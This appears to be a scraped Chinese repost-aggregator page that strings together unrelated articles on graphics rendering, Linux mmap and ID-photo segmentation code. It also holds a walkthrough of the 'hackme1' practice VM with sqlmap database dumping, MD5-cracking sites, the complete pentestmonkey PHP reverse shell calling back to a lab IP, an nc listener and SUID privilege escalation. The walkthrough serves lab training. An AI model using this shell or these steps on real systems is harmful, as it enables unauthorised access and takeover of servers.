... Direct3D®应用程序中的应用后，若您希望进一步探索现代图形渲染技术的最新进展和实践，以下是一些值得深入阅读的延伸内容：近期，随着硬件性能的提升，实时渲染领域出现了许多创新。例如，DirectX 12 Ultimate引入了可变速率着色（Variable Rate Shading, VRS）技术，它允许GPU根据不同场景区域的重要性分配不同的着色率，从而提高渲染效率并优化性能表现。这项技术对游戏开发者来说具有重要意义，因为它能够在不牺牲画质的前提下实现更流畅的游戏体验。同时，光线追踪作为近年来图形学领域的重大突破，已被纳入DirectX API中，并在NVIDIA RTX系列显卡上得到广泛应用。通过模拟真实世界的光线行为，光线追踪能够生成更为逼真细腻的光影效果，极大地提升了三维场景的真实感。此外，针对三维建模与动画制作软件，Blender项目持续进行功能更新，支持多种坐标系统并整合了基于物理的渲染引擎Cycles。用户不仅可以在其中创建复杂的三维模型，还能利用内置的高级着色器进行法线贴图、置换贴图等复杂纹理处理，以及实现PBR材质以满足更高标准的视觉需求。在理论研究方面，学者们正在深入探讨四元数在图形旋转、插值运算等方面的优化算法，力图挖掘其在实时渲染、虚拟现实和增强现实环境中的潜在价值。一些前沿研究甚至将四元数应用于机器学习与人工智能驱动的动画系统中，以实现更加自然、连贯的动作捕捉与运动预测。综上所述，无论是实时渲染技术的发展、硬件特性的革新，还是三维设计工具的进步，都在不断推动三维坐标系与几何学在计算机图形学中的实际应用向着更高效、更真实的方向发展。关注这些领域的最新动态和技术成果，无疑将有助于您更好地掌握三维图形编程的未来趋势及其实现方法。

2023-10-24 12:49:42

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[转载]靶机渗透练习13-hackme1

...数据库名： 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin，超级管理员，看起来像一个md5 扩展在线解密md5网站国内MD5解密： http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密： https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是：Uncrackable 登录上去，发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到查看文件内容，并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听：nc -lvp 6666 访问后门文件：http://192.168.184.149/php-reverse-shell.php 不成功尝试加上传文件夹：http://192.168.184.149/uploads/php-reverse-shell.php 成功访问使用 python 切换为 bash：python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了，换个方法查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询：touchmenot 没找到尝试运行程序：发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这？总结本节使用的工具和漏洞比较基础，涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具：sqlmap 抓包工具：burpsuite Webshell 后门：kali 内置后门 Suid 提权：touchmenot 提权本篇文章为转载内容。原文链接：https://blog.csdn.net/Perpetual_Blue/article/details/124200651。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-01-02 12:50:54

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[转载]Linux内存映射——mmap

...的地址空间之内，这些应用程序就可以直接使用输入输出的地址空间，从而提高读写的效率。Linux提供了mmap()函数，用来映射物理内存。在驱动程序中，应用程序以设备文件为对象，调用mmap()函数，内核进行内存映射的准备工作，生成vm_area_struct结构体，然后调用设备驱动程序中定义的mmap函数。 2.mmap系统调用 mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上，如果文件的大小不是所有页的大小之和，最后一个页不被使用的空间将会清零。munmap执行相反的操作，删除特定地址区域的对象映射。当使用mmap映射文件到进程后,就可以直接操作这段虚拟地址进行文件的读写等操作,不必再调用read,write等系统调用.但需注意,直接对该段内存写时不会写入超过当前文件大小的内容. 采用共享内存通信的一个显而易见的好处是效率高，因为进程可以直接读写内存，而不需要任何数据的拷贝。对于像管道和消息队列等通信方式，则需要在内核和用户空间进行四次的数据拷贝，而共享内存则只拷贝两次数据：一次从输入文件到共享内存区，另一次从共享内存区到输出文件。实际上，进程之间在共享内存时，并不总是读写少量数据后就解除映射，有新的通信时，再重新建立共享内存区域。而是保持共享区域，直到通信完毕为止，这样，数据内容一直保存在共享内存中，并没有写回文件。共享内存中的内容往往是在解除映射时才写回文件的。因此，采用共享内存的通信方式效率是非常高的。基于文件的映射，在mmap和munmap执行过程的任何时刻，被映射文件的st_atime可能被更新。如果st_atime字段在前述的情况下没有得到更新，首次对映射区的第一个页索引时会更新该字段的值。用PROT_WRITE 和 MAP_SHARED标志建立起来的文件映射，其st_ctime 和 st_mtime在对映射区写入之后，但在msync()通过MS_SYNC 和 MS_ASYNC两个标志调用之前会被更新。用法： include <sys/mman.h> void mmap(void start, size_t length, int prot, int flags, int fd, off_t offset); int munmap(void start, size_t length); 返回说明：成功执行时，mmap()返回被映射区的指针，munmap()返回0。失败时，mmap()返回MAP_FAILED[其值为(void )-1]，munmap返回-1。errno被设为以下的某个值 EACCES：访问出错 EAGAIN：文件已被锁定，或者太多的内存已被锁定 EBADF：fd不是有效的文件描述词 EINVAL：一个或者多个参数无效 ENFILE：已达到系统对打开文件的限制 ENODEV：指定文件所在的文件系统不支持内存映射 ENOMEM：内存不足，或者进程已超出最大内存映射数量 EPERM：权能不足，操作不允许 ETXTBSY：已写的方式打开文件，同时指定MAP_DENYWRITE标志 SIGSEGV：试着向只读区写入 SIGBUS：试着访问不属于进程的内存区参数： start：映射区的开始地址。 length：映射区的长度。 prot：期望的内存保护标志，不能与文件的打开模式冲突。是以下的某个值，可以通过or运算合理地组合在一起 PROT_EXEC //页内容可以被执行 PROT_READ //页内容可以被读取 PROT_WRITE //页可以被写入 PROT_NONE //页不可访问 flags：指定映射对象的类型，映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体 MAP_FIXED //使用指定的映射起始地址，如果由start和len参数指定的内存区重叠于现存的映射空间，重叠部分将会被丢弃。如果指定的起始地址不可用，操作将会失败。并且起始地址必须落在页的边界上。 MAP_SHARED //与其它所有映射这个对象的进程共享映射空间。对共享区的写入，相当于输出到文件。直到msync()或者munmap()被调用，文件实际上不会被更新。 MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的，只能使用其中一个。 MAP_DENYWRITE //这个标志被忽略。 MAP_EXECUTABLE //同上 MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留，对映射区修改的可能会得到保证。当交换空间不被保留，同时内存不足，对映射区的修改会引起段违例信号。 MAP_LOCKED //锁定映射区的页面，从而防止页面被交换出内存。 MAP_GROWSDOWN //用于堆栈，告诉内核VM系统，映射区可以向下扩展。 MAP_ANONYMOUS //匿名映射，映射区不与任何文件关联。 MAP_ANON //MAP_ANONYMOUS的别称，不再被使用。 MAP_FILE //兼容标志，被忽略。 MAP_32BIT //将映射区放在进程地址空间的低2GB，MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。 MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。 MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读，只为已存在于内存中的页面建立页表入口。 fd：有效的文件描述词。如果MAP_ANONYMOUS被设定，为了兼容问题，其值应为-1。 offset：被映射对象内容的起点。 3.munmap系统调用 include <sys/mman.h> int munmap( void addr, size_t len ) 该调用在进程地址空间中解除一个映射关系，addr是调用mmap()时返回的地址，len是映射区的大小。当映射关系解除后，对原来映射地址的访问将导致段错误发生。 4.msync系统调用 include <sys/mman.h> int msync ( void addr , size_t len, int flags) 一般说来，进程在映射空间的对共享内容的改变并不直接写回到磁盘文件中，往往在调用munmap（）后才执行该操作。可以通过调用msync()实现磁盘上文件内容与共享内存区的内容一致。二系统调用mmap()用于共享内存的两种方式（1）使用普通文件提供的内存映射：适用于任何进程之间；此时，需要打开或创建一个文件，然后再调用mmap()；典型调用代码如下： [cpp] view plaincopy fd=open(name, flag, mode); if(fd<0) ... ptr=mmap(NULL, len , PROT_READ|PROT_WRITE, MAP_SHARED , fd , 0); 通过mmap()实现共享内存的通信方式有许多特点和要注意的地方（2）使用特殊文件提供匿名内存映射：适用于具有亲缘关系的进程之间；由于父子进程特殊的亲缘关系，在父进程中先调用mmap()，然后调用fork()。那么在调用fork()之后，子进程继承父进程匿名映射后的地址空间，同样也继承mmap()返回的地址，这样，父子进程就可以通过映射区域进行通信了。注意，这里不是一般的继承关系。一般来说，子进程单独维护从父进程继承下来的一些变量。而mmap()返回的地址，却由父子进程共同维护。对于具有亲缘关系的进程实现共享内存最好的方式应该是采用匿名内存映射的方式。此时，不必指定具体的文件，只要设置相应的标志即可. 三 mmap进行内存映射的原理 mmap系统调用的最终目的是将,设备或文件映射到用户进程的虚拟地址空间,实现用户进程对文件的直接读写,这个任务可以分为以下三步: 1.在用户虚拟地址空间中寻找空闲的满足要求的一段连续的虚拟地址空间,为映射做准备(由内核mmap系统调用完成) 每个进程拥有3G字节的用户虚存空间。但是，这并不意味着用户进程在这3G的范围内可以任意使用，因为虚存空间最终得映射到某个物理存储空间（内存或磁盘空间），才真正可以使用。那么，内核怎样管理每个进程3G的虚存空间呢？概括地说，用户进程经过编译、链接后形成的映象文件有一个代码段和数据段（包括data段和bss段），其中代码段在下，数据段在上。数据段中包括了所有静态分配的数据空间，即全局变量和所有申明为static的局部变量，这些空间是进程所必需的基本要求，这些空间是在建立一个进程的运行映像时就分配好的。除此之外，堆栈使用的空间也属于基本要求，所以也是在建立进程时就分配好的，如图3.1所示：图3.1 进程虚拟空间的划分在内核中,这样每个区域用一个结构struct vm_area_struct 来表示.它描述的是一段连续的、具有相同访问属性的虚存空间，该虚存空间的大小为物理内存页面的整数倍。可以使用 cat /proc/<pid>/maps来查看一个进程的内存使用情况,pid是进程号.其中显示的每一行对应进程的一个vm_area_struct结构. 下面是struct vm_area_struct结构体的定义： [cpp] view plaincopy struct vm_area_struct { struct mm_struct vm_mm; / The address space we belong to. / unsigned long vm_start; / Our start address within vm_mm. / unsigned long vm_end; / The first byte after our end address within vm_mm. / / linked list of VM areas per task, sorted by address / struct vm_area_struct vm_next, vm_prev; pgprot_t vm_page_prot; / Access permissions of this VMA. / unsigned long vm_flags; / Flags, see mm.h. / struct rb_node vm_rb; / For areas with an address space and backing store, linkage into the address_space->i_mmap prio tree, or linkage to the list of like vmas hanging off its node, or linkage of vma in the address_space->i_mmap_nonlinear list. / union { struct { struct list_head list; void parent; / aligns with prio_tree_node parent / struct vm_area_struct head; } vm_set; struct raw_prio_tree_node prio_tree_node; } shared; / A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma list, after a COW of one of the file pages. A MAP_SHARED vma can only be in the i_mmap tree. An anonymous MAP_PRIVATE, stack or brk vma (with NULL file) can only be in an anon_vma list. / struct list_head anon_vma_chain; / Serialized by mmap_sem & page_table_lock / struct anon_vma anon_vma; / Serialized by page_table_lock / / Function pointers to deal with this struct. / const struct vm_operations_struct vm_ops; / Information about our backing store: / unsigned long vm_pgoff; / Offset (within vm_file) in PAGE_SIZE units, not PAGE_CACHE_SIZE / struct file vm_file; / File we map to (can be NULL). / void vm_private_data; / was vm_pte (shared mem) / unsigned long vm_truncate_count;/ truncate_count or restart_addr / ifndef CONFIG_MMU struct vm_region vm_region; / NOMMU mapping region / endif ifdef CONFIG_NUMA struct mempolicy vm_policy; / NUMA policy for the VMA / endif }; 通常，进程所使用到的虚存空间不连续，且各部分虚存空间的访问属性也可能不同。所以一个进程的虚存空间需要多个vm_area_struct结构来描述。在vm_area_struct结构的数目较少的时候，各个vm_area_struct按照升序排序，以单链表的形式组织数据（通过vm_next指针指向下一个vm_area_struct结构）。但是当vm_area_struct结构的数据较多的时候，仍然采用链表组织的化，势必会影响到它的搜索速度。针对这个问题，vm_area_struct还添加了vm_avl_hight（树高）、vm_avl_left（左子节点）、vm_avl_right（右子节点）三个成员来实现AVL树，以提高vm_area_struct的搜索速度。　　假如该vm_area_struct描述的是一个文件映射的虚存空间，成员vm_file便指向被映射的文件的file结构，vm_pgoff是该虚存空间起始地址在vm_file文件里面的文件偏移，单位为物理页面。图3.2 进程虚拟地址示意图因此,mmap系统调用所完成的工作就是准备这样一段虚存空间,并建立vm_area_struct结构体,将其传给具体的设备驱动程序 2 建立虚拟地址空间和文件或设备的物理地址之间的映射(设备驱动完成) 建立文件映射的第二步就是建立虚拟地址和具体的物理地址之间的映射,这是通过修改进程页表来实现的.mmap方法是file_opeartions结构的成员: int (mmap)(struct file ,struct vm_area_struct ); linux有2个方法建立页表: (1) 使用remap_pfn_range一次建立所有页表. int remap_pfn_range(struct vm_area_struct vma, unsigned long virt_addr, unsigned long pfn, unsigned long size, pgprot_t prot); 返回值: 成功返回 0, 失败返回一个负的错误值参数说明: vma 用户进程创建一个vma区域 virt_addr 重新映射应当开始的用户虚拟地址. 这个函数建立页表为这个虚拟地址范围从 virt_addr 到 virt_addr_size. pfn 页帧号, 对应虚拟地址应当被映射的物理地址. 这个页帧号简单地是物理地址右移 PAGE_SHIFT 位. 对大部分使用, VMA 结构的 vm_paoff 成员正好包含你需要的值. 这个函数影响物理地址从 (pfn<<PAGE_SHIFT) 到 (pfn<<PAGE_SHIFT)+size. size 正在被重新映射的区的大小, 以字节. prot 给新 VMA 要求的"protection". 驱动可(并且应当)使用在vma->vm_page_prot 中找到的值. (2) 使用nopage VMA方法每次建立一个页表项. struct page (nopage)(struct vm_area_struct vma, unsigned long address, int type); 返回值: 成功则返回一个有效映射页,失败返回NULL. 参数说明: address 代表从用户空间传过来的用户空间虚拟地址. 返回一个有效映射页. (3) 使用方面的限制： remap_pfn_range不能映射常规内存，只存取保留页和在物理内存顶之上的物理地址。因为保留页和在物理内存顶之上的物理地址内存管理系统的各个子模块管理不到。640 KB 和 1MB 是保留页可能映射，设备I/O内存也可以映射。如果想把kmalloc()申请的内存映射到用户空间，则可以通过mem_map_reserve()把相应的内存设置为保留后就可以。 (4) remap_pfn_range与nopage的区别 remap_pfn_range一次性建立页表,而nopage通过缺页中断找到内核虚拟地址，然后通过内核虚拟地址找到对应的物理页 remap_pfn_range函数只对保留页和物理内存之外的物理地址映射，而对常规RAM，remap_pfn_range函数不能映射，而nopage函数可以映射常规的RAM。 3 当实际访问新映射的页面时的操作(由缺页中断完成) (1) page cache及swap cache中页面的区分：一个被访问文件的物理页面都驻留在page cache或swap cache中，一个页面的所有信息由struct page来描述。struct page中有一个域为指针mapping ，它指向一个struct address_space类型结构。page cache或swap cache中的所有页面就是根据address_space结构以及一个偏移量来区分的。 (2) 文件与 address_space结构的对应：一个具体的文件在打开后，内核会在内存中为之建立一个struct inode结构，其中的i_mapping域指向一个address_space结构。这样，一个文件就对应一个address_space结构，一个 address_space与一个偏移量能够确定一个page cache 或swap cache中的一个页面。因此，当要寻址某个数据时，很容易根据给定的文件及数据在文件内的偏移量而找到相应的页面。 (3) 进程调用mmap()时，只是在进程空间内新增了一块相应大小的缓冲区，并设置了相应的访问标识，但并没有建立进程空间到物理页面的映射。因此，第一次访问该空间时，会引发一个缺页异常。 (4) 对于共享内存映射情况，缺页异常处理程序首先在swap cache中寻找目标页（符合address_space以及偏移量的物理页），如果找到，则直接返回地址；如果没有找到，则判断该页是否在交换区 (swap area)，如果在，则执行一个换入操作；如果上述两种情况都不满足，处理程序将分配新的物理页面，并把它插入到page cache中。进程最终将更新进程页表。注：对于映射普通文件情况（非共享映射），缺页异常处理程序首先会在page cache中根据address_space以及数据偏移量寻找相应的页面。如果没有找到，则说明文件数据还没有读入内存，处理程序会从磁盘读入相应的页面，并返回相应地址，同时，进程页表也会更新. (5) 所有进程在映射同一个共享内存区域时，情况都一样，在建立线性地址与物理地址之间的映射之后，不论进程各自的返回地址如何，实际访问的必然是同一个共享内存区域对应的物理页面。四总结 1.对于mmap的内存映射，是将物理内存映射到进程的虚拟地址空间中去，那么进程对文件的访问就相当于直接对内存的访问，从而加快了读写操作的效率。在这里，remap_pfn_range函数是一次性的建立页表，而nopage函数是根据page fault产生的进程虚拟地址去找到内核相对应的逻辑地址，再通过这个逻辑地址去找到page。完成映射过程。remap_pfn_range不能对常规内存映射，只能对保留的内存与物理内存之外的进行映射。 2.在这里，要分清几个地址，一个是物理地址，这个很简单，就是物理内存的实际地址。第二个是内核虚拟地址，即内核可以直接访问的地址，如kmalloc,vmalloc等内核函数返回的地址，kmalloc返回的地址也称为内核逻辑地址。内核虚拟地址与实际的物理地址只有一个偏移量。第三个是进程虚拟地址，这个地址处于用户空间。而对于mmap函数映射的是物理地址到进程虚拟地址，而不是把物理地址映射到内核虚拟地址。而ioremap函数是将物理地址映射为内核虚拟地址。 3.用户空间的进程调用mmap函数，首先进行必要的处理，生成vma结构体，然后调用remap_pfn_range函数建立页表。而用户空间的mmap函数返回的是映射到进程地址空间的首地址。所以mmap函数与remap_pfn_range函数是不同的，前者只是生成mmap，而建立页表通过remap_pfn_range函数来完成。本篇文章为转载内容。原文链接：https://blog.csdn.net/wh8_2011/article/details/52373213。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-09-20 22:49:12

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[转载]调用阿里云API实现证件照生成

...春运购票等极富挑战的应用场景中，阿里云保持着良好的运行纪录阿里云在全球各地部署高效节能的绿色数据中心，利用清洁计算为万物互联的新世界提供源源不断的能源动力，开服的区域包括中国（华北、华东、华南、香港）、新加坡、美国（美东、美西）、欧洲、中东、澳大利亚、日本猿辅导、中泰证券、小米、媛福达、Soul和当贝，这些我们耳熟能详的APP或企业中，阿里云给他们提供了性能强大、安全、稳定的云产品与服务。计算，容器，存储，网络与CDN，安全、中间件、数据库、大数据计算、人工智能与机器学习、媒体服务、企业服务与云通信、物联网、开发工具、迁移与运维管理和专有云等方面，阿里云都做的很不错。 2.2 证件照生成背景传统做法：通常是人工进行P图，不仅费时费力，而且效果也很难保障，容易有瑕疵。机器学习做法：通常利用边缘检测算法进行人物轮廓提取。深度学习做法：通常使用分割算法进行人物分割。例如U-Net网络。 2.3 图像分割算法《BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks》里的SeedNet网络是很经典的网络，它把分割任务转变成多个任务。作者的思想是：尽可能的通过多任务学习收拢语义，这样或许会分割的更好或姿态估计的更好。其实这个模型就是多阶段学习网络的一部分，作者想通过中间监督来提高网络的性能。我提取bihand网络中的SeedNet与训练权重，进行分割结果展示如下我是用的模型不是全程的，是第一阶段的。为了可视化出最好的效果，我把第一阶段也就是SeedNet网络的输出分别采用不同的方式可视化。从左边数第一张图为原图，第二张图为sigmoid后利用plt.imshow(colored_mask, cmap=‘jet’)进行彩色映射。第三张图为网络输出的张量经过sigmoid后，二色分割图，阀闸值0.5。第四张为网络的直接输出，利用直接产生的张量图进行颜色映射。第五张为使用sigmoid处理张量后进行的颜色映射。第六张为使用sigmoid处理张量后进行0,1分割掩码映射。使用原模型和网络需要添加很多代码。下面为修改后的的代码：下面为修改后的net_seedd代码： Copyright (c) Lixin YANG. All Rights Reserved.r"""Networks for heatmap estimation from RGB images using Hourglass Network"Stacked Hourglass Networks for Human Pose Estimation", Alejandro Newell, Kaiyu Yang, Jia Deng, ECCV 2016"""import numpy as npimport torchimport torch.nn as nnimport torch.nn.functional as Ffrom skimage import io,transform,utilfrom termcolor import colored, cprintfrom bihand.models.bases.bottleneck import BottleneckBlockfrom bihand.models.bases.hourglass import HourglassBisectedimport bihand.utils.func as funcimport matplotlib.pyplot as pltfrom bihand.utils import miscimport matplotlib.cm as cmdef color_mask(output_ok): 颜色映射cmap = plt.cm.get_cmap('jet') 将张量转换为numpy数组mask_array = output_ok.detach().numpy() 创建彩色图像cmap = cm.get_cmap('jet')colored_mask = cmap(mask_array)return colored_mask 可视化 plt.imshow(colored_mask, cmap='jet') plt.axis('off') plt.show()def two_color(mask_tensor): 将张量转换为numpy数组mask_array = mask_tensor.detach().numpy() 将0到1之间的值转换为二值化掩码threshold = 0.5 阈值，大于阈值的为白色，小于等于阈值的为黑色binary_mask = np.where(mask_array > threshold, 1, 0)return binary_mask 可视化 plt.imshow(binary_mask, cmap='gray') plt.axis('off') plt.show()class SeedNet(nn.Module):def __init__(self,nstacks=2,nblocks=1,njoints=21,block=BottleneckBlock,):super(SeedNet, self).__init__()self.njoints = njointsself.nstacks = nstacksself.in_planes = 64self.conv1 = nn.Conv2d(3, self.in_planes, kernel_size=7, stride=2, padding=3, bias=True)self.bn1 = nn.BatchNorm2d(self.in_planes)self.relu = nn.ReLU(inplace=True)self.maxpool = nn.MaxPool2d(2, stride=2)self.layer1 = self._make_residual(block, nblocks, self.in_planes, 2self.in_planes) current self.in_planes is 64 2 = 128self.layer2 = self._make_residual(block, nblocks, self.in_planes, 2self.in_planes) current self.in_planes is 128 2 = 256self.layer3 = self._make_residual(block, nblocks, self.in_planes, self.in_planes)ch = self.in_planes 256hg2b, res1, res2, fc1, _fc1, fc2, _fc2= [],[],[],[],[],[],[]hm, 